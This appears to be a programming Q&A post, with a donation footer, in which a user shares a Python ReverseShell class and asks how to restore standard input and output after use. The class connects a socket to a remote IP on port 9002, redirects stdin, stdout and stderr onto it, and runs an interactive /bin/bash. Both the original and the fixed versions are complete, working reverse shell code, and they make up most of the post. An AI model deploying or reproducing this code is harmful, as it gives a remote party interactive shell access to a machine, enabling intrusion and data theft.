I have the following code which sends a reverse shell to a remote listening port. It does this by using os.dup2() function call to redirect standard out/in/err to the socket file descriptor. According to the Python documentation the os.dup2() function will destroy the old file descriptor and redirect it to the new one. Since I want to eventually redirect back to normal standard out/in/err I made copies of the descriptor. After the /bin/bash shell is killed and the socket is closed the main loop that calls this class continues, but standard out/in/err do not get redirected. How can I successfully redirect back to normal, I.E how do I make the print statement at the end of this program display text?
class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port
def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#Save previous standard std and descriptors
prevOutFd = os.dup(sys.stdout.fileno())
prevOut = sys.stdout
prevInFd = os.dup(sys.stdin.fileno())
prevIn = sys.stdin
prevErrFd = os.dup(sys.stderr.fileno())
prevErr = sys.stderr
#Open socket
sock.connect((self.ip,self.port))
#Redirect standard in, out, and error
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
#Pass the shell
subprocess.call(["/bin/bash","-i"])
#Kill the socket
sock.shutdown(socket.SHUT_RDWR)
sock.close()
#Restore standard in, out, and error
os.dup2(prevOutFd, prevOut)
sys.stdout = prevOut
os.dup2(prevInFd, prevIn)
sys.stdin = prevIn
os.dup2(prevErrFd, prevErr)
sys.stderr = prevErr
print "This should print but it does not"
After much browsing I finally found a solution that works.
class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port
def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#Save previous standard std and descriptors
prevOutFd = os.dup(1)
prevInFd = os.dup(0)
prevErrFd = os.dup(2)
#Open socket
sock.connect((self.ip,self.port))
#Redirect standard in, out, and error
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
#Pass the shell
subprocess.call(["/bin/bash","-i"])
#Kill the socket
sock.shutdown(socket.SHUT_RDWR)
sock.close()
#Restore standard in, out, and error
os.dup2(prevOutFd, 1)
os.close(prevOutFd)
os.dup2(prevInFd, 0)
os.close(prevInFd)
os.dup2(prevErrFd,2)
os.close(prevErrFd)
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With